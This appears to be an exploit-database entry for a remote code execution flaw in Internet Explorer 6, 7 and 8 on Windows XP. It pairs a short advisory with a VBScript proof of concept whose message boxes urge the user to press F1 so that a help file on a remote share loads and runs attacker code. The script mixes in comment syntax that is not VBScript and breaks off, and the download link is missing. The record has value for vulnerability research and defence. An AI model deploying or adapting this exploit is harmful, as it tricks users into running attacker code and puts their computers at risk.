Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe MsgBox()' Remote Code Execution







Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.


Microsoft Internet Explorer is prone to a remote code execution vulnerability.

Source (iSEC Security Research):

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the underlying computer.

Note attackers must use social-engineering techniques to convince an unsuspecting user to press the 'F1' key when the attacker's message box prompts them to do so.

Internet Explorer 6, 7, and 8 are vulnerable when running on the Windows XP platform.

A copy of test.hlp can be downloaded from here: (

<script type="text/vbscript">
big = "\\\PUBLIC\test.hlp"
//For i=1 to 2500
//  big = big & "\..\"
MsgBox "please press F1 to save the world", ,"please save the world",
big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1